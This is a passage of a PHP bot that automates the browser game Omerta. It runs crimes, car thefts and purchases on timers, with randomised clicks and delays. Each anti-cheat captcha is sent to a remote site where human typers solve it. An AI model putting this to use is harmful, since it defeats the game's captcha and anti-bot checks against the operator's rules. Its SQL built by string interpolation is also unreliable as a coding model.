  672.             $vers['text']['Now'] . '</a></td>', $res)) && ($missing >= $settings['minBloodBuy']) &&
  673.             ($settings['minBloodBuy'] > 0)) {
  674.             buyBlood($missing);
  675.             return;
  676.         }
  677.     }
  678.     $res = $res_org;
  679.     if ($settings['doRange'] == '1' && inStr('<td><a href="shootingrange.php">' . $vers['text']['Now'] .
  680.         '</a></td>', $res_org) && $cash > 10000) {
  681.         $ks = floor($ks);
  682.         switch ($ks) {
  683.             case (floor($ks) < 10):
  684.                 //output("Killing skill too low for shooting range", "Range");
  685.                 break;
  686.             case (floor($ks) < 30):
  687.                 //10-29.9 Beginner Chest
  688.                 output("Shooting Beginner target's Chest", "Range");
  689.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  690.                 $post[] = "stage=select&target=low&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  691.                 $post[] = "stage=shoot&target=3&sub=1&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  692.  
  693.                 break;
  694.             case (floor($ks) < 40):
  695.                 //30-39.9 Beginner Head
  696.                 output("Shooting Beginner target's Head", "Range");
  697.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  698.                 $post[] = "stage=select&target=low&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  699.                 $post[] = "stage=shoot&target=3&sub=2&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  700.                 break;
  701.             case (floor($ks) < 50):
  702.                 //40-49.9 Intermediate Chest
  703.                 output("Shooting Intermediate target's Chest", "Range");
  704.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  705.                 $post[] = "stage=select&target=mid&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  706.                 $post[] = "stage=shoot&target=2&sub=1&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  707.                 break;
  708.             case (floor($ks) < 70):
  709.                 //50-59.9 Intermediate Head
  710.                 output("Shooting Intermediate target's Head", "Range");
  711.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  712.                 $post[] = "stage=select&target=mid&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  713.                 $post[] = "stage=shoot&target=2&sub=2&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  714.                 break;
  715.             case (floor($ks) < 80):
  716.                 //60-60.9 Advanced Chest
  717.                 output("Shooting Advanced target's Chest", "Range");
  718.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  719.                 $post[] = "stage=select&target=high&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  720.                 $post[] = "stage=shoot&target=1&sub=1&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  721.                 break;
  722.             case (floor($ks) < 80):
  723.                 //70-79.9 Advanced Head
  724.                 output("Shooting Advanced target's Head", "Range");
  725.                 $post[] = "stage=enter&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  726.                 $post[] = "stage=select&target=high&x=" . rand(25, 110) . "&y=" . rand(50, 150);
  727.                 $post[] = "stage=shoot&target=1&sub=2&x=" . rand(20, 65) . "&y=" . rand(20, 65);
  728.  
  729.                 break;
  730.             case (floor($ks) >= 80):
  731.                 //output("Killing skill too high for shooting range", "Range");
  732.                 break;
  733.             default:
  734.                 output("Killing skill not valid for range", "Range");
  735.                 break;
  736.         } //switch
  737.         if (isset($post[1]))
  738.             doRange($cash, $post);
  739.     } //if doRange
  740.     $res = $res_org;
  741.     if ($settings['doBullets'] == '1') {
  742.         //if ((inStr('Donating', $res)) || (inStr('User group', $res))) {
  743.         if (true) {
  744.             if (($cash > $settings['minBulletMoney']) && (inStr('<td><a href="bullets2.php">' .
  745.                 $vers['text']['Now'] . '</a></td>', $res))) {
  746.                 output("Starting Bullets", "Bullet");
  747.                 while (buyBullets()) {
  748.                     if (($timer['crime'] <= time())) {
  749.                         while (crime() == false) {
  750.                             checkRefresh();
  751.                             sleep(rand(1, 5));
  752.                         }
  753.                     }
  754.                     if (($timer['nick'] <= time())) {
  755.                         while (carNick() == false) {
  756.                             checkRefresh();
  757.                             sleep(rand(1, 5));
  758.                         }
  759.  
  760.                         sleeping(); #Check for sleep
  761.  
  762.                     }
  763.                     global $nextCheck;
  764.                     if (time() > $nextCheck) {
  765.                         break; //leave loop and return to normal play (so it gets status again)
  766.                     }
  767.                     sleeping(); #Check for sleep
  768.  
  769.                     #sleep(rand(5, 9)); //buyBullets return true if it should loop again
  770.                    sleep(1);
  771.                 }
  772.                 return;
  773.             }
  774.         }
  775.     } // end bullets
  776.     if ($settings['gamble_roul'] == '1') {
  777.         if (rand(1, 5) == 1) {
  778.             if ($cash > $settings['roulMin']) {
  779.                 openGamble();
  780.                 return;
  781.             }
  782.         } // rand roul
  783.     } // roullete
  784. }
  785. function iaminjail()
  786. {
  787.     global $settings, $timer;
  788.     if (($timer['iaminjail'] <= time())) {
  789.         $fp = fopen("injail.txt", "w");
  790.         fwrite($fp, $settings['curCity']);
  791.         fclose($fp);
  792.         $timer['iaminjail'] = (time() + rand(231, 399));
  793.     }
  794. } //close iaminjail()
  795. function playOmerta()
  796. {
  797.     @unlink('../logs/current.txt');
  798.     global $crimeRun, $settings, $omerta, $timer, $nextCheck, $vers;
  799.     $res = get($omerta['smuggling'], $omerta['menu']);
  800.     if (getAmmount($res, strtolower($vers['text']['Cocaine'])) != 0) {
  801.         $settings['haveCoke'] = true;
  802.     } else {
  803.         $settings['haveCoke'] = false;
  804.     }
  805.     $nextCheck = time() + ($settings['frequency'] * 60);
  806.     status();
  807.     $res = get($omerta['status'], $omerta['menu']);
  808.     $t = getTimers($res);
  809.     $timer['nick'] = time() + $t['nick'];
  810.     $timer['crime'] = time() + $t['crime'];
  811.     $timer['flight'] = time() + $t['flight'];
  812.     while (true) {
  813.         sleeping(); #Check for sleep
  814.        checkRefresh();
  815.         getCommands();
  816.         if (!$settings['onlyBust'] == 1) {
  817.             if (($settings['skipNarc'] == false) && ($timer['flight'] <= time()) && $settings['doNarcs'] ==
  818.                 1) {
  819.                 output("Beginning narc run.", 'Smuggling');
  820.                 status();
  821.             }
  822.             if (($timer['crime'] <= time())) {
  823.                 output("Crime started.");
  824.                 while (crime() == false) {
  825.                     checkRefresh();
  826.                     sleep(rand(1, 3));
  827.                 }
  828.                 $res = get($omerta['status'], $omerta['menu']);
  829.                 $t = getTimers($res);
  830.                 $timer['nick'] = time() + $t['nick'];
  831.                 $timer['crime'] = time() + $t['crime'];
  832.                 $timer['flight'] = time() + $t['flight'];
  833.             }
  834.             if (($timer['nick'] <= time())) {
  835.                 output("Car Nick Started");
  836.                 while (carNick() == false) {
  837.                     checkRefresh();
  838.                     sleep(rand(1, 3));
  839.                 }
  840.                 $res = get($omerta['status'], $omerta['menu']);
  841.                 $t = getTimers($res);
  842.                 $timer['nick'] = time() + $t['nick'];
  843.                 $timer['crime'] = time() + $t['crime'];
  844.                 $timer['flight'] = time() + $t['flight'];
  845.             }
  846.             if ((!$timer['nick'] <= time()) && (!$timer['crime'] <= time()) && ($settings['waitBust'] ==
  847.                 1)) {
  848.                 checkRefresh();
  849.                 doBust();
  850.             } elseif ((!$timer['nick'] <= time()) && (!$timer['crime'] <= time()) && ($settings['waitBust'] ==
  851.             2)) {
  852.                 if (rand(1, 24) == 1) {
  853.                     sleep(rand(1, 5));
  854.                     checkRefresh();
  855.                     doBust();
  856.                 }
  857.             }
  858.         } else {
  859.             checkRefresh();
  860.             doBust();
  861.         }
  862.         if (time() > $nextCheck) {
  863.             $nextCheck = time() + ($settings['frequency'] * 60);
  864.             status();
  865.         }
  866.  
  867.         //getCommands();
  868.         sleep(1);
  869.     } //wend
  870. } //playOmerta()
  871.  
  872. function clicklimitCheck($res, $url = "dummy")
  873. {
  874.     global $vers;
  875.     if (inStr($vers['text']['clicklimit'], $res) && !inStr('<td>', strtolower($res)) && $vers != "") {
  876.         output("Clicklimit reached");
  877.         return 0;
  878.     } else {
  879.         return 1;
  880.     }
  881. }
  882. function verifyNickInputs($res)
  883. {
  884.     //count radio inputs
  885.     $num = substr_count($res, "<input type=\"radio\"");
  886.     if ($num != 4) {
  887.         output("Error: (radio)[$num]", "Car Nick");
  888.         write2file("nickChange.html", $res);
  889.         sleep(10);
  890.         die();
  891.     }
  892.     //count hidden inputs
  893.     $num = substr_count($res, "<input type=\"hidden\"");
  894.     if ($num != 1) {
  895.         output("Error: (hidden)[$num]", "Car Nick");
  896.         write2file("nickChange.html", $res);
  897.         sleep(10);
  898.         die();
  899.     }
  900.     //count text inputs
  901.     $num = substr_count($res, "<input type=\"text\"");
  902.     if ($num != 1) {
  903.         output("Error: (text)[$num]", "Car Nick");
  904.         write2file("nickChange.html", $res);
  905.         sleep(10);
  906.         die();
  907.     }
  908.     //count submit inputs
  909.     $num = substr_count($res, "<input type=\"submit\"");
  910.     if ($num != 1) {
  911.         output("Error: (submit)[$num]", "Car Nick");
  912.         write2file("nickChange.html", $res);
  913.         sleep(10);
  914.         die();
  915.     }
  916.     //Count total inputs
  917.     $num = substr_count($res, "<input type=");
  918.     if ($num != 7) {
  919.         output("Error: (total)[$num]", "Car Nick");
  920.         write2file("nickChange.html", $res);
  921.         sleep(10);
  922.         die();
  923.     }
  924. } //verifyCrimeInputs()
  925. function verifyCrimeInputs($res)
  926. {
  927.     //count radio inputs
  928.     $num = substr_count($res, "<input type=\"radio\"");
  929.     if ($num != 6) {
  930.         output("Error: (radio)[$num]", "Crime");
  931.         write2file("crimeChange.html", $res);
  932.         sleep(10);
  933.         die();
  934.     }
  935.     //count hidden inputs
  936.     $num = substr_count($res, "<input type=\"hidden\"");
  937.     if ($num != 1) {
  938.         output("Error: (hidden)[$num]", "Crime");
  939.         write2file("crimeChange.html", $res);
  940.         sleep(10);
  941.         die();
  942.     }
  943.     //count text inputs
  944.     $num = substr_count($res, "<input type=\"text\"");
  945.     if ($num != 1) {
  946.         output("Error: (text)[$num]", "Crime");
  947.         write2file("crimeChange.html", $res);
  948.         sleep(10);
  949.         die();
  950.     }
  951.     //count submit inputs
  952.     $num = substr_count($res, "<input type=\"submit\"");
  953.     if ($num != 1) {
  954.         output("Error: (submit)[$num]", "Crime");
  955.         write2file("crimeChange.html", $res);
  956.         sleep(10);
  957.         die();
  958.     }
  959.     //Count total inputs
  960.     $num = substr_count($res, "<input type=");
  961.     if ($num != 9) {
  962.         output("Error: (total)[$num]", "Crime");
  963.         write2file("crimeChange.html", $res);
  964.         sleep(10);
  965.         die();
  966.     }
  967. } //verifyCrimeInputs()
  968. function crimePost($res)
  969. {
  970.     global $settings;
  971.     if (!(inStr("value=\"Yes\"", $res))) {
  972.         output("Hidden value changed", "Crimes");
  973.         sleep(5);
  974.         die();
  975.     } //end if
  976.     //Hidden input value and name
  977.     $hiddenValue = "Yes";
  978.     $position = strpos($res, "value=\"Yes\"");
  979.     $hiddenName = trim(substr($res, $position - 14, 13));
  980.     if (!(($hiddenName{0} == "=") && ($hiddenName{strlen($hiddenName) - 1} == '"'))) {
  981.         output("Unable to get hidden name, crimes page changes", "Crimes");
  982.         write2file("crimeChange.html", $res);
  983.         sleep(5);
  984.         die();
  985.     } //end if
  986.     $hiddenName = str_replace("=", '', $hiddenName);
  987.     $hiddenName = str_replace('"', '', $hiddenName);
  988.  
  989.     //Radio input value and name
  990.     $radioValue = $settings['crimeAction'];
  991.     $position = strpos($res, "value=\"" . $radioValue . "\"");
  992.     $radioName = trim(substr($res, $position - 14, 13));
  993.     if (!(($radioName{0} == "=") && ($radioName{strlen($radioName) - 1} == '"'))) {
  994.         output("Unable to get radio name, crimes page changes", "Crimes");
  995.         write2file("crimeChange.html", $res);
  996.         sleep(5);
  997.         die();
  998.     } //end if
  999.     $radioName = str_replace("=", '', $radioName);
  1000.     $radioName = str_replace('"', '', $radioName);
  1001.  
  1002.     //text input value and name
  1003.     //$textValue = "Yes";
  1004.     $position = strpos($res, "size=\"3\"");
  1005.     $textName = trim(substr($res, $position - 14, 13));
  1006.     if (!(($textName{0} == "=") && ($textName{strlen($textName) - 1} == '"'))) {
  1007.         output("Unable to get hidden name, crimes page changes", "Crimes");
  1008.         write2file("crimeChange.html", $res);
  1009.         sleep(5);
  1010.         die();
  1011.     } //end if
  1012.     $textName = str_replace("=", '', $textName);
  1013.     $textName = str_replace('"', '', $textName);
  1014.     $post = "$hiddenName=$hiddenValue&$radioName=$radioValue&$textName=";
  1015.     $code = readCode();
  1016.     if ($code == "~bc") {
  1017.         output("Unviewable captha, reloading site", "Code");
  1018.         crime();
  1019.     }
  1020.     $code = str_replace('-', '', $code);
  1021.     $code = str_replace('~', '', $code);
  1022.     if (strlen($code) != 3) {
  1023.         return $code;
  1024.     }
  1025.     $post = "$hiddenName=$hiddenValue&$radioName=$radioValue&$textName=" . $code;
  1026.     return $post;
  1027. } //crimePost()
  1028. function carNickPost($res)
  1029. {
  1030.     global $settings;
  1031.     if (!(inStr("value=\"Yes\"", $res))) {
  1032.         output("HIdden value changed", "Car Nick");
  1033.         sleep(10);
  1034.         die();
  1035.     } //end if
  1036.     //Hidden input value and name
  1037.     $hiddenValue = "Yes";
  1038.     $position = strpos($res, "value=\"Yes\"");
  1039.     $hiddenName = trim(substr($res, $position - 14, 13));
  1040.     if (!(($hiddenName{0} == "=") && ($hiddenName{strlen($hiddenName) - 1} == '"'))) {
  1041.         output("Unable to get hidden name, nick page changes", "Nick");
  1042.         write2file("nickChange.html", $res);
  1043.         sleep(5);
  1044.         die();
  1045.     } //end if
  1046.     $hiddenName = str_replace("=", '', $hiddenName);
  1047.     $hiddenName = str_replace('"', '', $hiddenName);
  1048.  
  1049.     //Radio input value and name
  1050.     $radioValue = bestChanceNick($res);
  1051.     $position = strpos($res, "value=\"" . $radioValue . "\"");
  1052.     $radioName = trim(substr($res, $position - 14, 13));
  1053.     if (!(($radioName{0} == "=") && ($radioName{strlen($radioName) - 1} == '"'))) {
  1054.         output("Unable to get radio name, nick page changes", "Nick");
  1055.         write2file("nickChange.html", $res);
  1056.         sleep(5);
  1057.         die();
  1058.     } //end if
  1059.     $radioName = str_replace("=", '', $radioName);
  1060.     $radioName = str_replace('"', '', $radioName);
  1061.  
  1062.     //text input value and name
  1063.     //$textValue = "Yes";
  1064.     $position = strpos($res, "size=\"3\"");
  1065.     $textName = trim(substr($res, $position - 14, 13));
  1066.     if (!(($textName{0} == "=") && ($textName{strlen($textName) - 1} == '"'))) {
  1067.         output("Unable to get hidden name, crimes page changes", "Crimes");
  1068.         write2file("nickChange.html", $res);
  1069.         sleep(5);
  1070.         die();
  1071.     } //end if
  1072.     $textName = str_replace("=", '', $textName);
  1073.     $textName = str_replace('"', '', $textName);
  1074.     $post = "$hiddenName=$hiddenValue&$radioName=$radioValue&$textName=";
  1075.     $code = readCode();
  1076.     if ($code == "~bc") {
  1077.         output("Unviewable captha, reloading site", "Code");
  1078.         carNick();
  1079.     }
  1080.  
  1081.     $code = str_replace('-', '', $code);
  1082.     $code = str_replace('~', '', $code);
  1083.     if (strlen($code) != 3) {
  1084.         return $code;
  1085.     }
  1086.     $post = "$hiddenName=$hiddenValue&$radioName=$radioValue&$textName=" . $code;
  1087.     return $post;
  1088. } //crimePost()
  1089. function saveCaptcha($res, $ref)
  1090. {
  1091.     global $vers;
  1092.     if (!(inStr("/im-no-cheater/?id=", $res))) {
  1093.         write2file('../noCaptcha.html', $res);
  1094.         die(output("Unable to save captcha."));
  1095.     } //end if
  1096.     $imageURL = substr($res, strpos($res, "/im-no-cheater/?id=") + 18); //Find start position of image code, add 28 to get to end
  1097.     $imageURL = substr($imageURL, 0, strpos($imageURL, "\">")); //find end of id
  1098.     $imageURL = ereg_replace( '[^0-9]+', '',$imageURL);
  1099.     $imageCheck = "im-no-cheater/?id=$imageURL";
  1100.     $imageURL = $vers['omertaURL'] . "im-no-cheater/?id=$imageURL";
  1101.     if (!inStr($imageCheck, $res)) {
  1102.         write2file('wrongCaptcha.html', $res);
  1103.         die(output("Captcha URL incorrect, restarting. . ."));
  1104.     }
  1105.     write2file('ccc.png', get($imageURL, $ref));
  1106. }
  1107. function getBody($res)
  1108. {
  1109.     $out = substr($res, strpos($res, "<body>") + 6);
  1110.     $out = substr($out, 0, strpos($out, "</body>"));
  1111.     $out = str_replace("<font color=\"blue\">", "", $out);
  1112.     $out = str_replace("</font>", "", $out);
  1113.     $out = clearParse($out);
  1114.     return $out;
  1115. }
  1116. function carNick()
  1117. {
  1118.     global $omerta, $settings, $scriptSite, $stats, $vers;
  1119.     $res = get($omerta['carNick'], $omerta['menu']);
  1120.     stillLoggedIn($res);
  1121.     $res = removeBetween('<--', '-->', $res);
  1122.     $res = removeBetween('<!--', '-->', $res);
  1123.     if (!(inStr($vers['text']['tired'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  1124.         $res))) {
  1125.         verifyNickInputs($res);
  1126.         saveCaptcha($res, $omerta['carNick']);
  1127.         $post = carNickPost($res);
  1128.         if (strlen($post) <= 5) {
  1129.             //output('No Typers. . .', 'Car Nicks');
  1130.             return 1;
  1131.         }
  1132.  
  1133.  
  1134.         $res = str_replace("action=\"" . $GLOBALS['vers']['omertaURL_NS'] . "", "action=\"",
  1135.             $res);
  1136.         if (!(inStr("<form name=\"car\" action=\"/BeO/webroot/index.php?module=Cars&action=docar\" method=\"post\">",
  1137.             $res))) {
  1138.             //CHANGE !ACTION
  1139.             write2file('nickAction.html', $res);
  1140.             output("Form Action changed detected.", "Car Nick");
  1141.             sleep(10);
  1142.             die();
  1143.         }
  1144.         $action = $GLOBALS['vers']['omertaURL_NS'] .
  1145.             "/BeO/webroot/index.php?module=Cars&action=docar";
  1146.         $res = post($action, $omerta['carNick'], $post);
  1147.         if (inStr($vers['text']['Jail'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  1148.             $res)) {
  1149.             output("You have been caught.", "Car Nick");
  1150.             $stats['nick']['total']++;
  1151.             $stats['nick']['caught']++;
  1152.             $stats['nick']['failed']++;
  1153.             global $timer;
  1154.             $timer['nick'] = (time() + 302);
  1155.             doSelfBust($res);
  1156.             return 1;
  1157.         } //end if
  1158.         elseif (inStr($vers['text']['The code you'], $res)) {
  1159.             wrongCode();
  1160.             return false;
  1161.         } //end elseif
  1162.         else {
  1163.             global $timer;
  1164.             $timer['nick'] = (time() + 302);
  1165.             parseNickResults($res, $action);
  1166.             return 1;
  1167.         } //end else
  1168.     } else {
  1169.         if (inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  1170.             iaminjail();
  1171.             output("In Jail.", "Car Nick");
  1172.             doSelfBust($res);
  1173.         } else {
  1174.             //output("To early. . .", "Car Nick");
  1175.         }
  1176.         global $timer;
  1177.         $timer['nick'] = (time() + 13);
  1178.         return true;
  1179.     }
  1180.     global $timer;
  1181.     $timer['nick'] = (time() + 13);
  1182.     return true;
  1183. }
  1184. function crime()
  1185. {
  1186.     checkRefresh();
  1187.     global $omerta, $settings, $scriptSite, $crimeRun, $stats, $vers;
  1188.     $res = get($omerta['crimes'], $omerta['menu']);
  1189.     stillLoggedIn($res);
  1190.     $res = removeBetween('<--', '-->', $res);
  1191.     $res = removeBetween('<!--', '-->', $res);
  1192.     if (!(inStr($vers['text']['tired'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  1193.         $res))) {
  1194.         verifyCrimeInputs($res);
  1195.         saveCaptcha($res, $omerta['crimes']);
  1196.         $post = crimePost($res);
  1197.         if (strlen($post) < 4) {
  1198.             output("No Typers.");
  1199.             return false;
  1200.         }
  1201.         $res = str_replace("action=\"" . $GLOBALS['vers']['omertaURL_NS'], "action=\"",
  1202.             $res);
  1203.         if (!(inStr("<form name=\"crime\" action=\"/BeO/webroot/index.php?module=Crimes&action=docrime\" method=\"post\">",
  1204.             $res))) {
  1205.             output("Form action has changed.", "Crimes");
  1206.  
  1207.             write2file('crimeAction.html', $res);
  1208.             sleep(10);
  1209.             die();
  1210.         }
  1211.         if (strlen($post) <= 5) {
  1212.             output('No Typers.', 'Crime');
  1213.             return false;
  1214.         }
  1215.         $res = post($GLOBALS['vers']['omertaURL_NS'] .
  1216.             "/BeO/webroot/index.php?module=Crimes&action=docrime", $omerta['crimes'], $post);
  1217.         if (inStr($vers['text']['tired'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  1218.             $res)) {
  1219.             output("You have been caught!", "Crimes");
  1220.            
  1221.             $stats['crimes']['total']++;
  1222.             $stats['crimes']['caught']++;
  1223.             $stats['crimes']['failed']++;
  1224.            
  1225.             global $timer;
  1226.            
  1227.             $timer['crime'] = (time() + 102);
  1228.             doSelfBust($res);
  1229.         } //end if
  1230.         elseif (inStr($vers['text']['made'], $res)) {
  1231.             $out = getBody($res);
  1232.             output($out, "Crimes");
  1233.             $stats['crimes']['total']++;
  1234.             $stats['crimes']['successful']++;
  1235.             global $timer;
  1236.             $timer['crime'] = (time() + 102);
  1237.         } //end elseif
  1238.         elseif (inStr($vers['text']['done'], $res)) {
  1239.             output("Successfully hit the bottle.", "Crimes");
  1240.             global $timer;
  1241.             $stats['crimes']['total']++;
  1242.             $stats['crimes']['successful']++;
  1243.             $timer['crime'] = (time() + 102);
  1244.         } //end elseif
  1245.         elseif (inStr($vers['text']['foot'], $res)) {
  1246.             output("You shot your foot!", "Crimes");
  1247.             global $timer;
  1248.             $stats['crimes']['total']++;
  1249.             $stats['crimes']['foot']++;
  1250.             $stats['crimes']['failed']++;
  1251.             $timer['crime'] = (time() + 102);
  1252.         } //end elseif
  1253.         elseif (inStr($vers['text']['The code you'], $res)) {
  1254.             wrongCode();
  1255.             return false;
  1256.         } //end elseif
  1257.         else {
  1258.             output("Failed.", "Crimes");
  1259.             $stats['crimes']['total']++;
  1260.             $stats['crimes']['failed']++;
  1261.             global $timer;
  1262.             $timer['crime'] = (time() + 102);
  1263.         } //end else
  1264.         $crimeRun = $crimeRun + 1;
  1265.         return true;
  1266.     } //end if
  1267.     else {
  1268.         if (inStr("src=/static/images/game/generic/criminal.jpg", $res)) {
  1269.             iaminjail();
  1270.             output("In Jail.", "Crimes");
  1271.             doSelfBust($res);
  1272.         } else {
  1273.             //output("To early. . .", "Crimes");
  1274.         }
  1275.         global $timer;
  1276.         $timer['crime'] = (time() + 13);
  1277.         return true;
  1278.     }
  1279.     global $timer;
  1280.     $timer['crime'] = (time() + 13);
  1281.     return true;
  1282. } //crime()
  1283. function readCode()
  1284. {
  1285.     $start = microtime(true);
  1286.     global $settings, $scriptSite, $argu, $stats, $omerta;
  1287.     $id = $settings['id'];
  1288.     queryDB("UPDATE users SET lastSeen = UNIX_TIMESTAMP() WHERE id = '$id'");
  1289.     $settings['cache'] = false; //now useless Cache features
  1290.     upload('ccc.png', 'ccc.png');
  1291.     setDB("code='', inputBy='', needTyper='1', time", time(), 'id', $settings['id']);
  1292.     $endTime = time() + (5 * 60); //5minutes
  1293.     while (true) {
  1294.         $code = "";
  1295.         while ($code == "" || $code == "1") {
  1296.             usleep(500);
  1297.             checkRefresh();
  1298.             $code = get($scriptSite . 'getCode.php?id=' . $settings['id'] . '&pass=' . $settings['sPass'],
  1299.                 'dummy');
  1300.             //$code = getDB('code', 'id', $settings['id']);
  1301.             if (time() >= $endTime) {
  1302.                 return "~nt";
  1303.             }
  1304.         } //wend
  1305.         //Quick check for wrongly entered code
  1306.         if (!(strlen($code) == 3)) {
  1307.             setDB("code='', inputBy='', needTyper='1', time", time(), 'id', $settings['id']);
  1308.         } //end if
  1309.         else {
  1310.             if (!($code == "~bc")) {
  1311.                 $end = microtime(true);
  1312.                 //output($code . " - (" . ($end - $start) . "s)", "Code");
  1313.                 $stats['code']['typer']++;
  1314.                 $stats['code']['total']++;
  1315.             }
  1316.             return $code;
  1317.         }
  1318.     } //wend
  1319.  
  1320. } //readCode()
  1321.  
  1322. function checkRefresh()
  1323. {
  1324.     return;
  1325.     global $settings;
  1326.     if (($settings['lastBanner'] + $settings['bannerRefresh']) < time()) {
  1327.         get($GLOBALS['vers']['omertaURL_NS'] . "/banner.php", $GLOBALS['vers']['omertaURL_NS'] .
  1328.             "/banner.php");
  1329.         $settings['lastBanner'] = time();
  1330.     } elseif (($settings['lastMail'] + $settings['mailRefresh']) < time()) {
  1331.         get($GLOBALS['vers']['omertaURL_NS'] . "/mailbox.php", $GLOBALS['vers']['omertaURL_NS'] .
  1332.             "/mailbox.php");
  1333.         $settings['lastMail'] = time();
  1334.     } elseif (($settings['lastNews'] + $settings['newsRefresh']) < time()) {
  1335.         get($GLOBALS['vers']['omertaURL_NS'] . "/info.php", $GLOBALS['vers']['omertaURL_NS'] .
  1336.             "/info.php");
  1337.         $settings['lastNews'] = time();
  1338.     }
  1339. }
  1340. function upload($filename, $destination_file)
  1341. {
  1342.     //  output(time(), $filename);
  1343.     global $settings, $useragent, $scriptSite;
  1344.     $headers = array("Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
  1345.         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  1346.         "Accept-Language: en-us,en;q=0.5", "Connection: keep-alive", "Keep-Alive: 300");
  1347.     $id = $settings['id'];
  1348.     $url = $scriptSite."upload.php?id=$id&fn=$destination_file";
  1349.     $post['file_name'] = "@$filename";
  1350.     post($url, 'dummy', $post);
  1351. } //upload()
  1352.  
  1353.  
  1354. function getprice($results, $obj)
  1355. {
  1356.     $findme = "<td>" . $obj . "</td>";
  1357.     $location = stripos($results, $findme);
  1358.     $results = substr($results, $location + 10);
  1359.     $findme = "<td>\$";
  1360.     $location = stripos($results, $findme);
  1361.     $results = substr($results, $location + 6);
  1362.     $len = stripos($results, "</td>");
  1363.     $price = substr($results, 0, $len);
  1364.     return $price;
  1365. }
  1366. function getAmmount($results, $item)
  1367. {
  1368.     $findme = "<input type=\"text\" name=\"" . $item . "\" size=\"8\" maxlength=\"2\" value=0></td>";
  1369.     $location = stripos($results, $findme);
  1370.     $results = substr($results, $location);
  1371.     $location = stripos($results, "</td>") + 5;
  1372.     $results = substr($results, $location);
  1373.     $location = stripos($results, "<td>") + 4;
  1374.     $location2 = stripos($results, "</td>");
  1375.     $len = $location2 - $location;
  1376.     $results = substr($results, $location, $len);
  1377.     return $results;
  1378. }
  1379.  
  1380. function bnrank()
  1381. {
  1382.     global $settings;
  1383.     $rank = $settings['rank'];
  1384.     if ($rank[0] == "E") {
  1385.         $ba = 1;
  1386.         $na = 0;
  1387.     }
  1388.     if ($rank[0] == "D") {
  1389.         $ba = 2;
  1390.         $na = 0;
  1391.     }
  1392.     if ($rank[0] == "1") {
  1393.         $ba = 60;
  1394.         $na = 17;
  1395.     }
  1396.     if ($rank[3] == "c") {
  1397.         $ba = 5;
  1398.         $na = 1;
  1399.     }
  1400.     if ($rank[0] == "S" && $rank[1] == "h") {
  1401.         $ba = 7;
  1402.         $na = 2;
  1403.     }
  1404.     if ($rank[2] == "c" && $rank[3] == "k") {
  1405.         $ba = 10;
  1406.         $na = 4;
  1407.     }
  1408.     if ($rank[0] == "T") {
  1409.         $ba = 15;
  1410.         $na = 5;
  1411.     }
  1412.     if ($rank[0] == "A" && $rank[4] == "c") {
  1413.         $ba = 20;
  1414.         $na = 7;
  1415.     }
  1416.     if ($rank[0] == "M") {
  1417.         $ba = 25;
  1418.         $na = 8;
  1419.     }
  1420.     if ($rank[0] == "S" && $rank[1] == "o") {
  1421.         $ba = 30;
  1422.         $na = 10;
  1423.     }
  1424.     if ($rank[0] == "S" && $rank[1] == "w") {
  1425.         $ba = 35;
  1426.         $na = 11;
  1427.     }
  1428.     if ($rank[0] == "A" && $rank[3] == "a") {
  1429.         $ba = 40;
  1430.         $na = 13;
  1431.     }
  1432.     if ($rank[0] == "L") {
  1433.         $ba = 45;
  1434.         $na = 14;
  1435.     }
  1436.     if ($rank[0] == "C" && $rank[1] == "h") {
  1437.         $ba = 50;
  1438.         $na = 16;
  1439.     }
  1440.     if ($rank[0] == "B") {
  1441.         $ba = 60;
  1442.         $na = 17;
  1443.     }
  1444.     if ($rank[0] == "C" && $rank[1] == "a") {
  1445.         $ba = 70;
  1446.         $na = 20;
  1447.     }
  1448.     if ($rank[0] == "G") {
  1449.         $ba = 70;
  1450.         $na = 20;
  1451.     }
  1452.     if ($rank[0] == "F") {
  1453.         $ba = 70;
  1454.         $na = 20;
  1455.     }
  1456.     $settings['boozeAmmount'] = $ba;
  1457.     $settings['narcAmmount'] = $na;
  1458. }
  1459. function parseNickResults($results, $action)
  1460. {
  1461.     global $settings, $stats, $vers;
  1462.     $findme = $vers['text']['Success'];
  1463.     $location = stripos($results, $findme);
  1464.     if (5 < $location) {
  1465.         $stats['nick']['total']++;
  1466.         $stats['nick']['successful']++;
  1467.         $findme = $vers['text']['with'];
  1468.         $len = stripos($results, $findme) - $location;
  1469.         $result = trim(substr($results, $location, $len));
  1470.         $findme = "[$ ";
  1471.         $location = stripos($results, $findme) + 3;
  1472.         $len = stripos($results, "]<br>") - $location;
  1473.         $worth = trim(substr($results, $location, $len));
  1474.         $result1 = $result . " " . $vers['text']['worth'] . " $ $worth";
  1475.         $result1 = str_replace($vers['text']['Success'] . " ", "", $result1);
  1476.         output($result1, "Car Nick");
  1477.         $worth = trim(str_replace(",", "", $worth));
  1478.         $sell = "TRUE";
  1479.         global $noSell;
  1480.         foreach ($settings['noSell'] as $value) {
  1481.             $location = stripos($results, $value);
  1482.             if (5 < $location) {
  1483.                 $sell = "FALSE";
  1484.             }
  1485.         }
  1486.         $check = array('<form action="/garage.php">',
  1487.             '<input type="hidden" name="action" value="sell">',
  1488.             '<input type="hidden" name="carid[]" value="',
  1489.             '<input type="submit" value="Sell">');
  1490.         if (!inStrArray($check, $results)) {
